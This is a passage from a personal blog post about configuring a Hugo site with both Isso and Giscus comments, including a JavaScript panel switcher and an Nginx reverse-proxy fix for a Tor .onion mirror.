</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">term</span> = [<span style="color:#e6db74">"HTML"</span>, <span style="color:#e6db74">"RSS"</span>]
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">services</span>.<span style="color:#a6e22e">rss</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">limit</span> = <span style="color:#ae81ff">-1</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">comments</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ShowRssButtonInSectionTermList</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ShowFullTextinRSS</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Optional if using Home-Info/Profile mode:</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># [[params.socialIcons]]</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># name = "rss"</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># url = "/index.xml"</span>
|
||||
</span></span></code></pre></div><hr>
|
||||
<h1 id="appendix--why-i-added-isso-how-i-wired-it-and-what-i-fixed">Appendix — Why I added Isso, how I wired it, and what I fixed</h1>
|
||||
<h2 id="the-story-why-isso--why-i-still-keep-giscus">The story (why Isso + why I still keep Giscus)</h2>
|
||||
<p>I wanted comments that:</p>
|
||||
<ul>
|
||||
<li>allow <strong>anonymous</strong> replies (no GitHub account required),</li>
|
||||
<li>are <strong>lightweight</strong> and <strong>self-hosted</strong>, and</li>
|
||||
<li>can work on my <strong>Tor <code>.onion</code> mirror</strong>.</li>
|
||||
</ul>
|
||||
<p><strong>Isso</strong> checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of <strong>Giscus</strong> (comments are GitHub Discussions), so I kept both and added a little switcher UI: <strong>“Anonymous (Isso)”</strong> or <strong>“GitHub (Giscus)”</strong>.</p>
|
||||
<p>Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).</p>
|
||||
<h2 id="how-i-run-it-high-level">How I run it (high-level)</h2>
|
||||
<ul>
|
||||
<li><strong>Site:</strong> Hugo + PaperMod</li>
|
||||
<li><strong>Isso:</strong> listening on <code>127.0.0.1:8080</code>, stored locally (SQLite)</li>
|
||||
<li><strong>Nginx:</strong> reverse-proxies <strong><code>/isso/</code></strong> to Isso on both the clearnet and the <code>.onion</code> vhost</li>
|
||||
<li><strong>Hugo partial:</strong> renders the two panels (Isso & Giscus) and a switcher; Giscus is <strong>lazy-loaded</strong> and <strong>auto-rethemed</strong> with the site theme</li>
|
||||
</ul>
|
||||
<blockquote>
|
||||
<p>I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the <strong>Nginx proxying</strong> and the <strong>Hugo partial</strong>.</p></blockquote>
|
||||
<h2 id="hugo-partial-switcher--embeds">Hugo partial: switcher + embeds</h2>
|
||||
<p>Save as <code>layouts/partials/comments.html</code> and include it in your single layout (e.g. <code>layouts/_default/single.html</code>) with <code>{{ partial "comments.html" . }}</code>.</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e"><!-- comments.html --></span>
|
||||
</span></span><span style="display:flex;"><span><<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"comments-switch"</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">"display:flex;gap:.5rem;margin:.5rem 0 1rem;"</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">button</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"btn-isso"</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"button"</span> <span style="color:#a6e22e">aria-pressed</span><span style="color:#f92672">=</span><span style="color:#e6db74">"true"</span>>Anonymous (Isso)</<span style="color:#f92672">button</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">button</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"btn-giscus"</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">"button"</span> <span style="color:#a6e22e">aria-pressed</span><span style="color:#f92672">=</span><span style="color:#e6db74">"false"</span>>GitHub (Giscus)</<span style="color:#f92672">button</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">"https://github.com/AlipourIm/blog-comments/discussions/categories/comments"</span> <span style="color:#a6e22e">target</span><span style="color:#f92672">=</span><span style="color:#e6db74">"_blank"</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">"noopener"</span>>Open on GitHub ↗</<span style="color:#f92672">a</span>>
|
||||
</span></span><span style="display:flex;"><span></<span style="color:#f92672">div</span>>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"><!-- Isso panel (default) --></span>
|
||||
</span></span><span style="display:flex;"><span><<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"panel-isso"</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">section</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"isso-thread"</span>></<span style="color:#f92672">section</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">script</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">"/isso/js/embed.min.js"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-isso</span><span style="color:#f92672">=</span><span style="color:#e6db74">"/isso"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-isso-css</span><span style="color:#f92672">=</span><span style="color:#e6db74">"true"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-isso-lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">"en"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-isso-max-comments-nested</span><span style="color:#f92672">=</span><span style="color:#e6db74">"5"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">data-isso-sorting</span><span style="color:#f92672">=</span><span style="color:#e6db74">"newest"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">async</span>>
|
||||
</span></span><span style="display:flex;"><span> </<span style="color:#f92672">script</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">small</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">"isso-powered"</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">"display:block;margin:.5rem 0;color:var(--secondary,#888)"</span>>
|
||||
</span></span><span style="display:flex;"><span> Comments powered by <<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">"https://isso-comments.de"</span> <span style="color:#a6e22e">target</span><span style="color:#f92672">=</span><span style="color:#e6db74">"_blank"</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">"noopener"</span>>Isso</<span style="color:#f92672">a</span>>
|
||||
</span></span><span style="display:flex;"><span> </<span style="color:#f92672">small</span>>
|
||||
</span></span><span style="display:flex;"><span></<span style="color:#f92672">div</span>>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"><!-- Giscus panel (lazy-loaded on click) --></span>
|
||||
</span></span><span style="display:flex;"><span><<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"panel-giscus"</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">"display:none"</span>>
|
||||
</span></span><span style="display:flex;"><span> <<span style="color:#f92672">section</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">"giscus-thread"</span>></<span style="color:#f92672">section</span>>
|
||||
</span></span><span style="display:flex;"><span></<span style="color:#f92672">div</span>>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><<span style="color:#f92672">script</span>>
|
||||
</span></span><span style="display:flex;"><span>(<span style="color:#66d9ef">function</span> () {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">panelIsso</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">'panel-isso'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">panelGisc</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">'panel-giscus'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">issoBtn</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">'btn-isso'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">giscBtn</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">'btn-giscus'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">gLoaded</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">isDark</span>() {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 1) explicit PaperMod preference
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">pref</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">localStorage</span>.<span style="color:#a6e22e">getItem</span>(<span style="color:#e6db74">'pref-theme'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">pref</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">'dark'</span>) <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">pref</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">'light'</span>) <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 2) page state (classes / data-theme)
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">H</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">documentElement</span>, <span style="color:#a6e22e">B</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">body</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">hasDark</span> <span style="color:#f92672">=</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">H</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">contains</span>(<span style="color:#e6db74">'dark'</span>) <span style="color:#f92672">||</span> <span style="color:#a6e22e">B</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">contains</span>(<span style="color:#e6db74">'dark'</span>) <span style="color:#f92672">||</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">H</span>.<span style="color:#a6e22e">dataset</span>.<span style="color:#a6e22e">theme</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">'dark'</span> <span style="color:#f92672">||</span> <span style="color:#a6e22e">B</span>.<span style="color:#a6e22e">dataset</span>.<span style="color:#a6e22e">theme</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">'dark'</span> <span style="color:#f92672">||</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">H</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">contains</span>(<span style="color:#e6db74">'theme-dark'</span>) <span style="color:#f92672">||</span> <span style="color:#a6e22e">B</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">contains</span>(<span style="color:#e6db74">'theme-dark'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">hasDark</span>) <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 3) OS preference
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">return</span> window.<span style="color:#a6e22e">matchMedia</span> <span style="color:#f92672">&&</span> window.<span style="color:#a6e22e">matchMedia</span>(<span style="color:#e6db74">'(prefers-color-scheme: dark)'</span>).<span style="color:#a6e22e">matches</span>;
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">gTheme</span> <span style="color:#f92672">=</span> () => (<span style="color:#a6e22e">isDark</span>() <span style="color:#f92672">?</span> <span style="color:#e6db74">'dark_dimmed'</span> <span style="color:#f92672">:</span> <span style="color:#e6db74">'noborder_light'</span>);
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">loadGiscus</span>() {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">gLoaded</span>) <span style="color:#66d9ef">return</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">s</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">createElement</span>(<span style="color:#e6db74">'script'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">src</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">'https://giscus.app/client.js'</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#66d9ef">async</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">crossOrigin</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">'anonymous'</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-repo'</span>,<span style="color:#e6db74">'AlipourIm/blog-comments'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-repo-id'</span>,<span style="color:#e6db74">'R_kgDOQGARyA'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-category'</span>,<span style="color:#e6db74">'Comments'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-category-id'</span>,<span style="color:#e6db74">'DIC_kwDOQGARyM4Cw3x-'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-mapping'</span>,<span style="color:#e6db74">'pathname'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-strict'</span>,<span style="color:#e6db74">'0'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-reactions-enabled'</span>,<span style="color:#e6db74">'1'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-emit-metadata'</span>,<span style="color:#e6db74">'0'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-input-position'</span>,<span style="color:#e6db74">'bottom'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-lang'</span>,<span style="color:#e6db74">'en'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'data-theme'</span>, <span style="color:#a6e22e">gTheme</span>()); <span style="color:#75715e">// initial theme
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">'giscus-thread'</span>).<span style="color:#a6e22e">appendChild</span>(<span style="color:#a6e22e">s</span>);
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Retheme once iframe exists
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">reTheme</span> <span style="color:#f92672">=</span> () => {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">iframe</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">'iframe.giscus-frame'</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">iframe</span>) <span style="color:#66d9ef">return</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">iframe</span>.<span style="color:#a6e22e">contentWindow</span><span style="color:#f92672">?</span>.<span style="color:#a6e22e">postMessage</span>(
|
||||
</span></span><span style="display:flex;"><span> { <span style="color:#a6e22e">giscus</span><span style="color:#f92672">:</span> { <span style="color:#a6e22e">setConfig</span><span style="color:#f92672">:</span> { <span style="color:#a6e22e">theme</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">gTheme</span>() } } },
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">'https://giscus.app'</span>
|
||||
</span></span><span style="display:flex;"><span> );
|
||||
</span></span><span style="display:flex;"><span> };
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// PaperMod toggle button
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">'theme-toggle'</span>)<span style="color:#f92672">?</span>.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">'click'</span>, () =>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">setTimeout</span>(<span style="color:#a6e22e">reTheme</span>, <span style="color:#ae81ff">0</span>)
|
||||
</span></span><span style="display:flex;"><span> );
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Also react to attribute changes
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">mo</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">MutationObserver</span>(<span style="color:#a6e22e">reTheme</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">mo</span>.<span style="color:#a6e22e">observe</span>(document.<span style="color:#a6e22e">documentElement</span>, { <span style="color:#a6e22e">attributes</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>, <span style="color:#a6e22e">attributeFilter</span><span style="color:#f92672">:</span> [<span style="color:#e6db74">'class'</span>,<span style="color:#e6db74">'data-theme'</span>] });
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">mo</span>.<span style="color:#a6e22e">observe</span>(document.<span style="color:#a6e22e">body</span>, { <span style="color:#a6e22e">attributes</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>, <span style="color:#a6e22e">attributeFilter</span><span style="color:#f92672">:</span> [<span style="color:#e6db74">'class'</span>,<span style="color:#e6db74">'data-theme'</span>] });
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">gLoaded</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span>;
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">show</span>(<span style="color:#a6e22e">which</span>) {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">showIsso</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">which</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">'isso'</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">panelIsso</span>.<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">showIsso</span> <span style="color:#f92672">?</span> <span style="color:#e6db74">'block'</span> <span style="color:#f92672">:</span> <span style="color:#e6db74">'none'</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">panelGisc</span>.<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">showIsso</span> <span style="color:#f92672">?</span> <span style="color:#e6db74">'none'</span> <span style="color:#f92672">:</span> <span style="color:#e6db74">'block'</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">issoBtn</span><span style="color:#f92672">?</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'aria-pressed'</span>, <span style="color:#a6e22e">showIsso</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">giscBtn</span><span style="color:#f92672">?</span>.<span style="color:#a6e22e">setAttribute</span>(<span style="color:#e6db74">'aria-pressed'</span>, <span style="color:#f92672">!</span><span style="color:#a6e22e">showIsso</span>);
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">showIsso</span>) <span style="color:#a6e22e">loadGiscus</span>();
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">issoBtn</span><span style="color:#f92672">?</span>.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">'click'</span>, <span style="color:#a6e22e">e</span> => { <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">preventDefault</span>(); <span style="color:#a6e22e">show</span>(<span style="color:#e6db74">'isso'</span>); });
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">giscBtn</span><span style="color:#f92672">?</span>.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">'click'</span>, <span style="color:#a6e22e">e</span> => { <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">preventDefault</span>(); <span style="color:#a6e22e">show</span>(<span style="color:#e6db74">'giscus'</span>); });
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// default
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">show</span>(<span style="color:#e6db74">'isso'</span>);
|
||||
</span></span><span style="display:flex;"><span>})();
|
||||
</span></span><span style="display:flex;"><span></<span style="color:#f92672">script</span>>
|
||||
</span></span></code></pre></div><h2 id="nginx-proxy-isso-on-both-sites-and-avoid-the-404-onion-trap">Nginx: proxy Isso on <strong>both</strong> sites (and avoid the 404-onion trap)</h2>
|
||||
<p>The bug I hit: my <code>.onion</code> server had a regex static block that <strong>won over</strong> the plain <code>/isso/</code> location, so <code>/isso/js/embed.min.js</code> returned <strong>404</strong>.</p>
|
||||
<p><strong>Fix:</strong> make <code>/isso/</code> a <code>^~</code> prefix location so it beats regex, and place it <strong>above</strong> the static block.</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#75715e"># /etc/nginx/sites-enabled/onion-blog (same idea for the clearnet vhost)
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">listen</span> 127.0.0.1:<span style="color:#ae81ff">3301</span> <span style="color:#e6db74">default_server</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">server_name</span> <span style="color:#e6db74">fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion</span> 127.0.0.1 <span style="color:#e6db74">localhost</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Referrer-Policy</span> <span style="color:#e6db74">no-referrer</span> <span style="color:#e6db74">always</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">X-Content-Type-Options</span> <span style="color:#e6db74">nosniff</span> <span style="color:#e6db74">always</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">X-Frame-Options</span> <span style="color:#e6db74">SAMEORIGIN</span> <span style="color:#e6db74">always</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">root</span> <span style="color:#e6db74">/srv/hugo/mysite/public-onion</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">index</span> <span style="color:#e6db74">index.html</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> { <span style="color:#f92672">try_files</span> $uri $uri/ <span style="color:#e6db74">/index.html</span>; }
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># /isso -> /isso/
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">location</span> = <span style="color:#e6db74">/isso</span> { <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">/isso/</span>; }
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># IMPORTANT: this must beat regex locations below
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">location</span> <span style="color:#e6db74">^~</span> <span style="color:#e6db74">/isso/</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://127.0.0.1:8080/</span>; <span style="color:#75715e"># Isso container/port
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">proxy_http_version</span> <span style="color:#ae81ff">1</span><span style="color:#e6db74">.1</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span> $host;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Host</span> $host;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span> $proxy_add_x_forwarded_for;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_redirect</span> <span style="color:#66d9ef">off</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">proxy_read_timeout</span> <span style="color:#e6db74">60s</span>;
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># static
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">location</span> ~<span style="color:#e6db74">*</span> <span style="color:#e6db74">\\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)</span>$ {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">access_log</span> <span style="color:#66d9ef">off</span>;
